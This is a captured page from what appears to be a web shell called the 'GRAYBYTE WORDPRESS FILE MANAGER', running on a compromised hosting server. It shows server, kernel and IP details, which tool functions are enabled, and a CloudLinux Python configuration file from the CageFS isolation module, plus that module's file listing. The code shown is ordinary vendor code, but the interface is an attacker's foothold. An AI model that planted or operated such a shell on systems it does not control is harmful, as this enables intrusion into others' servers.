✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.120
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/clcagefslib/webisolation//config.py
# -*- coding: utf-8 -*-
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT
#
import dataclasses
import json
import os
import pathlib
from pathlib import Path

from clcommon import ClPwd

from clcagefslib.io import write_via_tmp

DOCROOTS_ISOLATED_BASE = Path("/var/clwebisolate/users")


@dataclasses.dataclass
class UserConfig:
    enabled_websites: list[str] = dataclasses.field(default_factory=list)


def load_user_config(user: str) -> UserConfig:
    path = _get_user_config_path(user)
    if not path.exists():
        return UserConfig()

    try:
        return UserConfig(**json.loads(path.read_text()))
    except json.JSONDecodeError:
        return UserConfig()


def save_user_config(user: str, config: UserConfig | None) -> None:
    path = _get_user_config_path(user)
    if not config or not config.enabled_websites:
        path.unlink(missing_ok=True)
        return

    path.parent.mkdir(parents=True, exist_ok=True)
    write_via_tmp(str(path.parent), str(path), json.dumps(dataclasses.asdict(config), indent=4))

    # Set ownership and permissions so user can read their config (but not write)
    # root:user_group with 0o640 = owner (root) can read/write, group (user_group) can read only
    # User can read via group membership but cannot write because group has no write permission
    pw = ClPwd().get_pw_by_name(user)
    os.chown(path, os.getuid(), pw.pw_gid)  # root:user_group
    os.chmod(path, 0o640)  # rw-r-----


def _get_user_config_path(user: str) -> pathlib.Path:
    pw = ClPwd().get_pw_by_name(user)
    directory = DOCROOTS_ISOLATED_BASE / str(pw.pw_uid)
    return Path(directory / f"{pw.pw_uid}.json")


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 Jun 2026 7.00 AM
root / root
0755
__pycache__
--
23 Jun 2026 7.00 AM
root / root
0755
crontab
--
23 Jun 2026 7.00 AM
root / root
0755
__init__.py
0.242 KB
29 May 2026 9.37 AM
root / root
0644
admin_config.py
3.073 KB
29 May 2026 9.37 AM
root / root
0644
config.py
1.737 KB
29 May 2026 9.37 AM
root / root
0644
jail_config.py
2.716 KB
29 May 2026 9.37 AM
root / root
0644
jail_config_builder.py
7.215 KB
29 May 2026 9.37 AM
root / root
0644
jail_utils.py
5.584 KB
29 May 2026 9.37 AM
root / root
0644
libenter.py
2.355 KB
29 May 2026 9.37 AM
root / root
0644
mount_config.py
1.38 KB
29 May 2026 9.37 AM
root / root
0644
mount_ordering.py
4.96 KB
29 May 2026 9.37 AM
root / root
0644
mount_types.py
1.261 KB
29 May 2026 9.37 AM
root / root
0644
php.py
3.394 KB
29 May 2026 9.37 AM
root / root
0644
service.py
1.758 KB
29 May 2026 9.37 AM
root / root
0644
triggers.py
1.899 KB
29 May 2026 9.37 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF